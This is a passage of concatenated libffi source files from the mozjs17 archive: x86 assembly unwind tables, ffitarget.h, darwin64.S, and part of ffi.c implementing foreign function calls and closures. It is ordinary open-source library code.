sdata4) */ #endif .byte 0xc /* DW_CFA_def_cfa CFA = r4 + 4 = 4(%esp) */ .byte 0x4 /* .uleb128 0x4 */ .byte 0x4 /* .uleb128 0x4 */ .byte 0x88 /* DW_CFA_offset, column 0x8 %eip at CFA + 1 * -4 */ .byte 0x1 /* .uleb128 0x1 */ .align 4 .LECIE1: .LSFDE1: .long .LEFDE1-.LASFDE1 /* FDE Length */ .LASFDE1: .long .LASFDE1-.Lframe1 /* FDE CIE offset */ #if defined __PIC__ && defined HAVE_AS_X86_PCREL .long .LFB1-. /* FDE initial location */ #else .long .LFB1 #endif .long .LFE1-.LFB1 /* FDE address range */ #ifdef __PIC__ .byte 0x0 /* .uleb128 0x0; Augmentation size */ #endif /* DW_CFA_xxx CFI instructions go here. */ .byte 0x4 /* DW_CFA_advance_loc4 */ .long .LCFI0-.LFB1 .byte 0xe /* DW_CFA_def_cfa_offset CFA = r4 + 8 = 8(%esp) */ .byte 0x8 /* .uleb128 0x8 */ .byte 0x85 /* DW_CFA_offset, column 0x5 %ebp at CFA + 2 * -4 */ .byte 0x2 /* .uleb128 0x2 */ .byte 0x4 /* DW_CFA_advance_loc4 */ .long .LCFI1-.LCFI0 .byte 0xd /* DW_CFA_def_cfa_register CFA = r5 = %ebp */ .byte 0x5 /* .uleb128 0x5 */ /* End of DW_CFA_xxx CFI instructions. */ .align 4 .LEFDE1: .LSFDE3: .long .LEFDE3-.LASFDE3 /* FDE Length */ .LASFDE3: .long .LASFDE3-.Lframe1 /* FDE CIE offset */ #if defined __PIC__ && defined HAVE_AS_X86_PCREL .long .LFB3-. /* FDE initial location */ #else .long .LFB3 #endif .long .LFE3-.LFB3 /* FDE address range */ #ifdef __PIC__ .byte 0x0 /* .uleb128 0x0; Augmentation size */ #endif /* DW_CFA_xxx CFI instructions go here. */ .byte 0x4 /* DW_CFA_advance_loc4 */ .long .LCFI4-.LFB3 .byte 0xe /* DW_CFA_def_cfa_offset CFA = r4 + 8 = 8(%esp) */ .byte 0x8 /* .uleb128 0x8 */ .byte 0x85 /* DW_CFA_offset, column 0x5 %ebp at CFA + 2 * -4 */ .byte 0x2 /* .uleb128 0x2 */ .byte 0x4 /* DW_CFA_advance_loc4 */ .long .LCFI5-.LCFI4 .byte 0xd /* DW_CFA_def_cfa_register CFA = r5 = %ebp */ .byte 0x5 /* .uleb128 0x5 */ /* End of DW_CFA_xxx CFI instructions. */ .align 4 .LEFDE3: #if !FFI_NO_RAW_API .LSFDE4: .long .LEFDE4-.LASFDE4 /* FDE Length */ .LASFDE4: .long .LASFDE4-.Lframe1 /* FDE CIE offset */ #if defined __PIC__ && defined HAVE_AS_X86_PCREL .long .LFB4-. /* FDE initial location */ #else .long .LFB4 #endif .long .LFE4-.LFB4 /* FDE address range */ #ifdef __PIC__ .byte 0x0 /* .uleb128 0x0; Augmentation size */ #endif /* DW_CFA_xxx CFI instructions go here. */ .byte 0x4 /* DW_CFA_advance_loc4 */ .long .LCFI6-.LFB4 .byte 0xe /* DW_CFA_def_cfa_offset CFA = r4 + 8 = 8(%esp) */ .byte 0x8 /* .uleb128 0x8 */ .byte 0x85 /* DW_CFA_offset, column 0x5 %ebp at CFA + 2 * -4 */ .byte 0x2 /* .uleb128 0x2 */ .byte 0x4 /* DW_CFA_advance_loc4 */ .long .LCFI7-.LCFI6 .byte 0xd /* DW_CFA_def_cfa_register CFA = r5 = %ebp */ .byte 0x5 /* .uleb128 0x5 */ .byte 0x4 /* DW_CFA_advance_loc4 */ .long .LCFI8-.LCFI7 .byte 0x86 /* DW_CFA_offset, column 0x6 %esi at CFA + 3 * -4 */ .byte 0x3 /* .uleb128 0x3 */ /* End of DW_CFA_xxx CFI instructions. */ .align 4 .LEFDE4: #endif /* !FFI_NO_RAW_API */ .LSFDE5: .long .LEFDE5-.LASFDE5 /* FDE Length */ .LASFDE5: .long .LASFDE5-.Lframe1 /* FDE CIE offset */ #if defined __PIC__ && defined HAVE_AS_X86_PCREL .long .LFB5-. /* FDE initial location */ #else .long .LFB5 #endif .long .LFE5-.LFB5 /* FDE address range */ #ifdef __PIC__ .byte 0x0 /* .uleb128 0x0; Augmentation size */ #endif /* DW_CFA_xxx CFI instructions go here. */ .byte 0x4 /* DW_CFA_advance_loc4 */ .long .LCFI9-.LFB5 .byte 0xe /* DW_CFA_def_cfa_offset CFA = r4 + 8 = 8(%esp) */ .byte 0x8 /* .uleb128 0x8 */ .byte 0x85 /* DW_CFA_offset, column 0x5 %ebp at CFA + 2 * -4 */ .byte 0x2 /* .uleb128 0x2 */ .byte 0x4 /* DW_CFA_advance_loc4 */ .long .LCFI10-.LCFI9 .byte 0xd /* DW_CFA_def_cfa_register CFA = r5 = %ebp */ .byte 0x5 /* .uleb128 0x5 */ /* End of DW_CFA_xxx CFI instructions. */ .align 4 .LEFDE5: #endif /* !_MSC_VER */ mozjs17.0.0/js/src/ctypes/libffi/src/x86/ffitarget.h0000664000175000017500000000667612106270662022124 0ustar sstanglsstangl/* -----------------------------------------------------------------*-C-*- ffitarget.h - Copyright (c) 1996-2003, 2010 Red Hat, Inc. Copyright (C) 2008 Free Software Foundation, Inc. Target configuration macros for x86 and x86-64. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ``Software''), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ----------------------------------------------------------------------- */ #ifndef LIBFFI_TARGET_H #define LIBFFI_TARGET_H /* ---- System specific configurations ----------------------------------- */ /* For code common to all platforms on x86 and x86_64. */ #define X86_ANY #if defined (X86_64) && defined (__i386__) #undef X86_64 #define X86 #endif #ifdef X86_WIN64 #define FFI_SIZEOF_ARG 8 #define USE_BUILTIN_FFS 0 /* not yet implemented in mingw-64 */ #endif /* ---- Generic type definitions ----------------------------------------- */ #ifndef LIBFFI_ASM #ifdef X86_WIN64 #ifdef _MSC_VER typedef unsigned __int64 ffi_arg; typedef __int64 ffi_sarg; #else typedef unsigned long long ffi_arg; typedef long long ffi_sarg; #endif #else typedef unsigned long ffi_arg; typedef signed long ffi_sarg; #endif typedef enum ffi_abi { FFI_FIRST_ABI = 0, /* ---- Intel x86 Win32 ---------- */ #ifdef X86_WIN32 FFI_SYSV, FFI_STDCALL, FFI_LAST_ABI, /* TODO: Add fastcall support for the sake of completeness */ FFI_DEFAULT_ABI = FFI_SYSV #elif defined(X86_WIN64) FFI_WIN64, FFI_LAST_ABI, FFI_DEFAULT_ABI = FFI_WIN64 #else /* ---- Intel x86 and AMD x86-64 - */ FFI_SYSV, FFI_UNIX64, /* Unix variants all use the same ABI for x86-64 */ FFI_LAST_ABI, #if defined(__i386__) || defined(__i386) FFI_DEFAULT_ABI = FFI_SYSV #else FFI_DEFAULT_ABI = FFI_UNIX64 #endif #endif } ffi_abi; #endif /* ---- Definitions for closures ----------------------------------------- */ #define FFI_CLOSURES 1 #define FFI_TYPE_SMALL_STRUCT_1B (FFI_TYPE_LAST + 1) #define FFI_TYPE_SMALL_STRUCT_2B (FFI_TYPE_LAST + 2) #define FFI_TYPE_SMALL_STRUCT_4B (FFI_TYPE_LAST + 3) #if defined (X86_64) || (defined (__x86_64__) && defined (X86_DARWIN)) #define FFI_TRAMPOLINE_SIZE 24 #define FFI_NATIVE_RAW_API 0 #else #ifdef X86_WIN32 #define FFI_TRAMPOLINE_SIZE 13 #else #ifdef X86_WIN64 #define FFI_TRAMPOLINE_SIZE 29 #define FFI_NATIVE_RAW_API 0 #define FFI_NO_RAW_API 1 #else #define FFI_TRAMPOLINE_SIZE 10 #endif #endif #ifndef X86_WIN64 #define FFI_NATIVE_RAW_API 1 /* x86 has native raw api support */ #endif #endif #endif mozjs17.0.0/js/src/ctypes/libffi/src/x86/darwin64.S0000664000175000017500000002614312106270662021551 0ustar sstanglsstangl/* ----------------------------------------------------------------------- darwin64.S - Copyright (c) 2006 Free Software Foundation, Inc. Copyright (c) 2008 Red Hat, Inc. derived from unix64.S x86-64 Foreign Function Interface for Darwin. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ``Software''), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ----------------------------------------------------------------------- */ #ifdef __x86_64__ #define LIBFFI_ASM #include #include .file "darwin64.S" .text /* ffi_call_unix64 (void *args, unsigned long bytes, unsigned flags, void *raddr, void (*fnaddr)(void)); Bit o trickiness here -- ARGS+BYTES is the base of the stack frame for this function. This has been allocated by ffi_call. We also deallocate some of the stack that has been alloca'd. */ .align 3 .globl _ffi_call_unix64 _ffi_call_unix64: LUW0: movq (%rsp), %r10 /* Load return address. */ leaq (%rdi, %rsi), %rax /* Find local stack base. */ movq %rdx, (%rax) /* Save flags. */ movq %rcx, 8(%rax) /* Save raddr. */ movq %rbp, 16(%rax) /* Save old frame pointer. */ movq %r10, 24(%rax) /* Relocate return address. */ movq %rax, %rbp /* Finalize local stack frame. */ LUW1: movq %rdi, %r10 /* Save a copy of the register area. */ movq %r8, %r11 /* Save a copy of the target fn. */ movl %r9d, %eax /* Set number of SSE registers. */ /* Load up all argument registers. */ movq (%r10), %rdi movq 8(%r10), %rsi movq 16(%r10), %rdx movq 24(%r10), %rcx movq 32(%r10), %r8 movq 40(%r10), %r9 testl %eax, %eax jnz Lload_sse Lret_from_load_sse: /* Deallocate the reg arg area. */ leaq 176(%r10), %rsp /* Call the user function. */ call *%r11 /* Deallocate stack arg area; local stack frame in redzone. */ leaq 24(%rbp), %rsp movq 0(%rbp), %rcx /* Reload flags. */ movq 8(%rbp), %rdi /* Reload raddr. */ movq 16(%rbp), %rbp /* Reload old frame pointer. */ LUW2: /* The first byte of the flags contains the FFI_TYPE. */ movzbl %cl, %r10d leaq Lstore_table(%rip), %r11 movslq (%r11, %r10, 4), %r10 addq %r11, %r10 jmp *%r10 Lstore_table: .long Lst_void-Lstore_table /* FFI_TYPE_VOID */ .long Lst_sint32-Lstore_table /* FFI_TYPE_INT */ .long Lst_float-Lstore_table /* FFI_TYPE_FLOAT */ .long Lst_double-Lstore_table /* FFI_TYPE_DOUBLE */ .long Lst_ldouble-Lstore_table /* FFI_TYPE_LONGDOUBLE */ .long Lst_uint8-Lstore_table /* FFI_TYPE_UINT8 */ .long Lst_sint8-Lstore_table /* FFI_TYPE_SINT8 */ .long Lst_uint16-Lstore_table /* FFI_TYPE_UINT16 */ .long Lst_sint16-Lstore_table /* FFI_TYPE_SINT16 */ .long Lst_uint32-Lstore_table /* FFI_TYPE_UINT32 */ .long Lst_sint32-Lstore_table /* FFI_TYPE_SINT32 */ .long Lst_int64-Lstore_table /* FFI_TYPE_UINT64 */ .long Lst_int64-Lstore_table /* FFI_TYPE_SINT64 */ .long Lst_struct-Lstore_table /* FFI_TYPE_STRUCT */ .long Lst_int64-Lstore_table /* FFI_TYPE_POINTER */ .text .align 3 Lst_void: ret .align 3 Lst_uint8: movzbq %al, %rax movq %rax, (%rdi) ret .align 3 Lst_sint8: movsbq %al, %rax movq %rax, (%rdi) ret .align 3 Lst_uint16: movzwq %ax, %rax movq %rax, (%rdi) .align 3 Lst_sint16: movswq %ax, %rax movq %rax, (%rdi) ret .align 3 Lst_uint32: movl %eax, %eax movq %rax, (%rdi) .align 3 Lst_sint32: cltq movq %rax, (%rdi) ret .align 3 Lst_int64: movq %rax, (%rdi) ret .align 3 Lst_float: movss %xmm0, (%rdi) ret .align 3 Lst_double: movsd %xmm0, (%rdi) ret Lst_ldouble: fstpt (%rdi) ret .align 3 Lst_struct: leaq -20(%rsp), %rsi /* Scratch area in redzone. */ /* We have to locate the values now, and since we don't want to write too much data into the user's return value, we spill the value to a 16 byte scratch area first. Bits 8, 9, and 10 control where the values are located. Only one of the three bits will be set; see ffi_prep_cif_machdep for the pattern. */ movd %xmm0, %r10 movd %xmm1, %r11 testl $0x100, %ecx cmovnz %rax, %rdx cmovnz %r10, %rax testl $0x200, %ecx cmovnz %r10, %rdx testl $0x400, %ecx cmovnz %r10, %rax cmovnz %r11, %rdx movq %rax, (%rsi) movq %rdx, 8(%rsi) /* Bits 12-31 contain the true size of the structure. Copy from the scratch area to the true destination. */ shrl $12, %ecx rep movsb ret /* Many times we can avoid loading any SSE registers at all. It's not worth an indirect jump to load the exact set of SSE registers needed; zero or all is a good compromise. */ .align 3 LUW3: Lload_sse: movdqa 48(%r10), %xmm0 movdqa 64(%r10), %xmm1 movdqa 80(%r10), %xmm2 movdqa 96(%r10), %xmm3 movdqa 112(%r10), %xmm4 movdqa 128(%r10), %xmm5 movdqa 144(%r10), %xmm6 movdqa 160(%r10), %xmm7 jmp Lret_from_load_sse LUW4: .align 3 .globl _ffi_closure_unix64 _ffi_closure_unix64: LUW5: /* The carry flag is set by the trampoline iff SSE registers are used. Don't clobber it before the branch instruction. */ leaq -200(%rsp), %rsp LUW6: movq %rdi, (%rsp) movq %rsi, 8(%rsp) movq %rdx, 16(%rsp) movq %rcx, 24(%rsp) movq %r8, 32(%rsp) movq %r9, 40(%rsp) jc Lsave_sse Lret_from_save_sse: movq %r10, %rdi leaq 176(%rsp), %rsi movq %rsp, %rdx leaq 208(%rsp), %rcx call _ffi_closure_unix64_inner /* Deallocate stack frame early; return value is now in redzone. */ addq $200, %rsp LUW7: /* The first byte of the return value contains the FFI_TYPE. */ movzbl %al, %r10d leaq Lload_table(%rip), %r11 movslq (%r11, %r10, 4), %r10 addq %r11, %r10 jmp *%r10 Lload_table: .long Lld_void-Lload_table /* FFI_TYPE_VOID */ .long Lld_int32-Lload_table /* FFI_TYPE_INT */ .long Lld_float-Lload_table /* FFI_TYPE_FLOAT */ .long Lld_double-Lload_table /* FFI_TYPE_DOUBLE */ .long Lld_ldouble-Lload_table /* FFI_TYPE_LONGDOUBLE */ .long Lld_int8-Lload_table /* FFI_TYPE_UINT8 */ .long Lld_int8-Lload_table /* FFI_TYPE_SINT8 */ .long Lld_int16-Lload_table /* FFI_TYPE_UINT16 */ .long Lld_int16-Lload_table /* FFI_TYPE_SINT16 */ .long Lld_int32-Lload_table /* FFI_TYPE_UINT32 */ .long Lld_int32-Lload_table /* FFI_TYPE_SINT32 */ .long Lld_int64-Lload_table /* FFI_TYPE_UINT64 */ .long Lld_int64-Lload_table /* FFI_TYPE_SINT64 */ .long Lld_struct-Lload_table /* FFI_TYPE_STRUCT */ .long Lld_int64-Lload_table /* FFI_TYPE_POINTER */ .text .align 3 Lld_void: ret .align 3 Lld_int8: movzbl -24(%rsp), %eax ret .align 3 Lld_int16: movzwl -24(%rsp), %eax ret .align 3 Lld_int32: movl -24(%rsp), %eax ret .align 3 Lld_int64: movq -24(%rsp), %rax ret .align 3 Lld_float: movss -24(%rsp), %xmm0 ret .align 3 Lld_double: movsd -24(%rsp), %xmm0 ret .align 3 Lld_ldouble: fldt -24(%rsp) ret .align 3 Lld_struct: /* There are four possibilities here, %rax/%rdx, %xmm0/%rax, %rax/%xmm0, %xmm0/%xmm1. We collapse two by always loading both rdx and xmm1 with the second word. For the remaining, bit 8 set means xmm0 gets the second word, and bit 9 means that rax gets the second word. */ movq -24(%rsp), %rcx movq -16(%rsp), %rdx movq -16(%rsp), %xmm1 testl $0x100, %eax cmovnz %rdx, %rcx movd %rcx, %xmm0 testl $0x200, %eax movq -24(%rsp), %rax cmovnz %rdx, %rax ret /* See the comment above Lload_sse; the same logic applies here. */ .align 3 LUW8: Lsave_sse: movdqa %xmm0, 48(%rsp) movdqa %xmm1, 64(%rsp) movdqa %xmm2, 80(%rsp) movdqa %xmm3, 96(%rsp) movdqa %xmm4, 112(%rsp) movdqa %xmm5, 128(%rsp) movdqa %xmm6, 144(%rsp) movdqa %xmm7, 160(%rsp) jmp Lret_from_save_sse LUW9: .section __TEXT,__eh_frame,coalesced,no_toc+strip_static_syms+live_support EH_frame1: .set L$set$0,LECIE1-LSCIE1 /* CIE Length */ .long L$set$0 LSCIE1: .long 0x0 /* CIE Identifier Tag */ .byte 0x1 /* CIE Version */ .ascii "zR\0" /* CIE Augmentation */ .byte 0x1 /* uleb128 0x1; CIE Code Alignment Factor */ .byte 0x78 /* sleb128 -8; CIE Data Alignment Factor */ .byte 0x10 /* CIE RA Column */ .byte 0x1 /* uleb128 0x1; Augmentation size */ .byte 0x10 /* FDE Encoding (pcrel sdata4) */ .byte 0xc /* DW_CFA_def_cfa, %rsp offset 8 */ .byte 0x7 /* uleb128 0x7 */ .byte 0x8 /* uleb128 0x8 */ .byte 0x90 /* DW_CFA_offset, column 0x10 */ .byte 0x1 .align 3 LECIE1: .globl _ffi_call_unix64.eh _ffi_call_unix64.eh: LSFDE1: .set L$set$1,LEFDE1-LASFDE1 /* FDE Length */ .long L$set$1 LASFDE1: .long LASFDE1-EH_frame1 /* FDE CIE offset */ .quad LUW0-. /* FDE initial location */ .set L$set$2,LUW4-LUW0 /* FDE address range */ .quad L$set$2 .byte 0x0 /* Augmentation size */ .byte 0x4 /* DW_CFA_advance_loc4 */ .set L$set$3,LUW1-LUW0 .long L$set$3 /* New stack frame based off rbp. This is a itty bit of unwind trickery in that the CFA *has* changed. There is no easy way to describe it correctly on entry to the function. Fortunately, it doesn't matter too much since at all points we can correctly unwind back to ffi_call. Note that the location to which we moved the return address is (the new) CFA-8, so from the perspective of the unwind info, it hasn't moved. */ .byte 0xc /* DW_CFA_def_cfa, %rbp offset 32 */ .byte 0x6 .byte 0x20 .byte 0x80+6 /* DW_CFA_offset, %rbp offset 2*-8 */ .byte 0x2 .byte 0xa /* DW_CFA_remember_state */ .byte 0x4 /* DW_CFA_advance_loc4 */ .set L$set$4,LUW2-LUW1 .long L$set$4 .byte 0xc /* DW_CFA_def_cfa, %rsp offset 8 */ .byte 0x7 .byte 0x8 .byte 0xc0+6 /* DW_CFA_restore, %rbp */ .byte 0x4 /* DW_CFA_advance_loc4 */ .set L$set$5,LUW3-LUW2 .long L$set$5 .byte 0xb /* DW_CFA_restore_state */ .align 3 LEFDE1: .globl _ffi_closure_unix64.eh _ffi_closure_unix64.eh: LSFDE3: .set L$set$6,LEFDE3-LASFDE3 /* FDE Length */ .long L$set$6 LASFDE3: .long LASFDE3-EH_frame1 /* FDE CIE offset */ .quad LUW5-. /* FDE initial location */ .set L$set$7,LUW9-LUW5 /* FDE address range */ .quad L$set$7 .byte 0x0 /* Augmentation size */ .byte 0x4 /* DW_CFA_advance_loc4 */ .set L$set$8,LUW6-LUW5 .long L$set$8 .byte 0xe /* DW_CFA_def_cfa_offset */ .byte 208,1 /* uleb128 208 */ .byte 0xa /* DW_CFA_remember_state */ .byte 0x4 /* DW_CFA_advance_loc4 */ .set L$set$9,LUW7-LUW6 .long L$set$9 .byte 0xe /* DW_CFA_def_cfa_offset */ .byte 0x8 .byte 0x4 /* DW_CFA_advance_loc4 */ .set L$set$10,LUW8-LUW7 .long L$set$10 .byte 0xb /* DW_CFA_restore_state */ .align 3 LEFDE3: .subsections_via_symbols #endif /* __x86_64__ */ mozjs17.0.0/js/src/ctypes/libffi/src/x86/ffi.c0000664000175000017500000004334312106270662020700 0ustar sstanglsstangl/* ----------------------------------------------------------------------- ffi.c - Copyright (c) 1996, 1998, 1999, 2001, 2007, 2008 Red Hat, Inc. Copyright (c) 2002 Ranjit Mathew Copyright (c) 2002 Bo Thorsen Copyright (c) 2002 Roger Sayle Copyright (C) 2008 Free Software Foundation, Inc. x86 Foreign Function Interface Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ``Software''), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ----------------------------------------------------------------------- */ #if !defined(__x86_64__) || defined(_WIN64) #ifdef _WIN64 #include #endif #include #include #include /* ffi_prep_args is called by the assembly routine once stack space has been allocated for the function's arguments */ void ffi_prep_args(char *stack, extended_cif *ecif) { register unsigned int i; register void **p_argv; register char *argp; register ffi_type **p_arg; argp = stack; if (ecif->cif->flags == FFI_TYPE_STRUCT #ifdef X86_WIN64 && (ecif->cif->rtype->size != 1 && ecif->cif->rtype->size != 2 && ecif->cif->rtype->size != 4 && ecif->cif->rtype->size != 8) #endif ) { *(void **) argp = ecif->rvalue; argp += sizeof(void*); } p_argv = ecif->avalue; for (i = ecif->cif->nargs, p_arg = ecif->cif->arg_types; i != 0; i--, p_arg++) { size_t z; /* Align if necessary */ if ((sizeof(void*) - 1) & (size_t) argp) argp = (char *) ALIGN(argp, sizeof(void*)); z = (*p_arg)->size; #ifdef X86_WIN64 if (z > sizeof(ffi_arg) || ((*p_arg)->type == FFI_TYPE_STRUCT && (z != 1 && z != 2 && z != 4 && z != 8)) #if FFI_TYPE_DOUBLE != FFI_TYPE_LONGDOUBLE || ((*p_arg)->type == FFI_TYPE_LONGDOUBLE) #endif ) { z = sizeof(ffi_arg); *(void **)argp = *p_argv; } else if ((*p_arg)->type == FFI_TYPE_FLOAT) { memcpy(argp, *p_argv, z); } else #endif if (z < sizeof(ffi_arg)) { z = sizeof(ffi_arg); switch ((*p_arg)->type) { case FFI_TYPE_SINT8: *(ffi_sarg *) argp = (ffi_sarg)*(SINT8 *)(* p_argv); break; case FFI_TYPE_UINT8: *(ffi_arg *) argp = (ffi_arg)*(UINT8 *)(* p_argv); break; case FFI_TYPE_SINT16: *(ffi_sarg *) argp = (ffi_sarg)*(SINT16 *)(* p_argv); break; case FFI_TYPE_UINT16: *(ffi_arg *) argp = (ffi_arg)*(UINT16 *)(* p_argv); break; case FFI_TYPE_SINT32: *(ffi_sarg *) argp = (ffi_sarg)*(SINT32 *)(* p_argv); break; case FFI_TYPE_UINT32: *(ffi_arg *) argp = (ffi_arg)*(UINT32 *)(* p_argv); break; case FFI_TYPE_STRUCT: *(ffi_arg *) argp = *(ffi_arg *)(* p_argv); break; default: FFI_ASSERT(0); } } else { memcpy(argp, *p_argv, z); } p_argv++; #ifdef X86_WIN64 argp += (z + sizeof(void*) - 1) & ~(sizeof(void*) - 1); #else argp += z; #endif } return; } /* Perform machine dependent cif processing */ ffi_status ffi_prep_cif_machdep(ffi_cif *cif) { unsigned int i; ffi_type **ptr; /* Set the return type flag */ switch (cif->rtype->type) { case FFI_TYPE_VOID: case FFI_TYPE_UINT8: case FFI_TYPE_UINT16: case FFI_TYPE_SINT8: case FFI_TYPE_SINT16: #ifdef X86_WIN64 case FFI_TYPE_UINT32: case FFI_TYPE_SINT32: #endif case FFI_TYPE_SINT64: case FFI_TYPE_FLOAT: case FFI_TYPE_DOUBLE: #ifndef X86_WIN64 #if FFI_TYPE_DOUBLE != FFI_TYPE_LONGDOUBLE case FFI_TYPE_LONGDOUBLE: #endif #endif cif->flags = (unsigned) cif->rtype->type; break; case FFI_TYPE_UINT64: #ifdef X86_WIN64 case FFI_TYPE_POINTER: #endif cif->flags = FFI_TYPE_SINT64; break; case FFI_TYPE_STRUCT: #ifndef X86 if (cif->rtype->size == 1) { cif->flags = FFI_TYPE_SMALL_STRUCT_1B; /* same as char size */ } else if (cif->rtype->size == 2) { cif->flags = FFI_TYPE_SMALL_STRUCT_2B; /* same as short size */ } else if (cif->rtype->size == 4) { #ifdef X86_WIN64 cif->flags = FFI_TYPE_SMALL_STRUCT_4B; #else cif->flags = FFI_TYPE_INT; /* same as int type */ #endif } else if (cif->rtype->size == 8) { cif->flags = FFI_TYPE_SINT64; /* same as int64 type */ } else #endif { cif->flags = FFI_TYPE_STRUCT; /* allocate space for return value pointer */ cif->bytes += ALIGN(sizeof(void*), FFI_SIZEOF_ARG); } break; default: #ifdef X86_WIN64 cif->flags = FFI_TYPE_SINT64; break; case FFI_TYPE_INT: cif->flags = FFI_TYPE_SINT32; #else cif->flags = FFI_TYPE_INT; #endif break; } for (ptr = cif->arg_types, i = cif->nargs; i > 0; i--, ptr++) { if (((*ptr)->alignment - 1) & cif->bytes) cif->bytes = ALIGN(cif->bytes, (*ptr)->alignment); cif->bytes += ALIGN((*ptr)->size, FFI_SIZEOF_ARG); } #ifdef X86_WIN64 /* ensure space for storing four registers */ cif->bytes += 4 * sizeof(ffi_arg); #endif #ifdef X86_DARWIN cif->bytes = (cif->bytes + 15) & ~0xF; #endif return FFI_OK; } #ifdef X86_WIN64 extern int ffi_call_win64(void (*)(char *, extended_cif *), extended_cif *, unsigned, unsigned, unsigned *, void (*fn)(void)); #elif defined(X86_WIN32) extern void ffi_call_win32(void (*)(char *, extended_cif *), extended_cif *, unsigned, unsigned, unsigned *, void (*fn)(void)); #else extern void ffi_call_SYSV(void (*)(char *, extended_cif *), extended_cif *, unsigned, unsigned, unsigned *, void (*fn)(void)); #endif void ffi_call(ffi_cif *cif, void (*fn)(void), void *rvalue, void **avalue) { extended_cif ecif; ecif.cif = cif; ecif.avalue = avalue; /* If the return value is a struct and we don't have a return */ /* value address then we need to make one */ #ifdef X86_WIN64 if (rvalue == NULL && cif->flags == FFI_TYPE_STRUCT && cif->rtype->size != 1 && cif->rtype->size != 2 && cif->rtype->size != 4 && cif->rtype->size != 8) { ecif.rvalue = alloca((cif->rtype->size + 0xF) & ~0xF); } #else if (rvalue == NULL && cif->flags == FFI_TYPE_STRUCT) { ecif.rvalue = alloca(cif->rtype->size); } #endif else ecif.rvalue = rvalue; switch (cif->abi) { #ifdef X86_WIN64 case FFI_WIN64: ffi_call_win64(ffi_prep_args, &ecif, cif->bytes, cif->flags, ecif.rvalue, fn); break; #elif defined(X86_WIN32) case FFI_SYSV: case FFI_STDCALL: ffi_call_win32(ffi_prep_args, &ecif, cif->bytes, cif->flags, ecif.rvalue, fn); break; #else case FFI_SYSV: ffi_call_SYSV(ffi_prep_args, &ecif, cif->bytes, cif->flags, ecif.rvalue, fn); break; #endif default: FFI_ASSERT(0); break; } } /** private members **/ /* The following __attribute__((regparm(1))) decorations will have no effect on MSVC - standard cdecl convention applies. */ static void ffi_prep_incoming_args_SYSV (char *stack, void **ret, void** args, ffi_cif* cif); void FFI_HIDDEN ffi_closure_SYSV (ffi_closure *) __attribute__ ((regparm(1))); unsigned int FFI_HIDDEN ffi_closure_SYSV_inner (ffi_closure *, void **, void *) __attribute__ ((regparm(1))); void FFI_HIDDEN ffi_closure_raw_SYSV (ffi_raw_closure *) __attribute__ ((regparm(1))); #ifdef X86_WIN32 void FFI_HIDDEN ffi_closure_STDCALL (ffi_closure *) __attribute__ ((regparm(1))); #endif #ifdef X86_WIN64 void FFI_HIDDEN ffi_closure_win64 (ffi_closure *); #endif /* This function is jumped to by the trampoline */ #ifdef X86_WIN64 void * FFI_HIDDEN ffi_closure_win64_inner (ffi_closure *closure, void *args) { ffi_cif *cif; void **arg_area; void *result; void *resp = &result; cif = closure->cif; arg_area = (void**) alloca (cif->nargs * sizeof (void*)); /* this call will initialize ARG_AREA, such that each * element in that array points to the corresponding * value on the stack; and if the function returns * a structure, it will change RESP to point to the * structure return address. */ ffi_prep_incoming_args_SYSV(args, &resp, arg_area, cif); (closure->fun) (cif, resp, arg_area, closure->user_data); /* The result is returned in rax. This does the right thing for result types except for floats; we have to 'mov xmm0, rax' in the caller to correct this. TODO: structure sizes of 3 5 6 7 are returned by reference, too!!! */ return cif->rtype->size > sizeof(void *) ? resp : *(void **)resp; } #else unsigned int FFI_HIDDEN __attribute__ ((regparm(1))) ffi_closure_SYSV_inner (ffi_closure *closure, void **respp, void *args) { /* our various things... */ ffi_cif *cif; void **arg_area; cif = closure->cif; arg_area = (void**) alloca (cif->nargs * sizeof (void*)); /* this call will initialize ARG_AREA, such that each * element in that array points to the corresponding * value on the stack; and if the function returns * a structure, it will change RESP to point to the * structure return address. */ 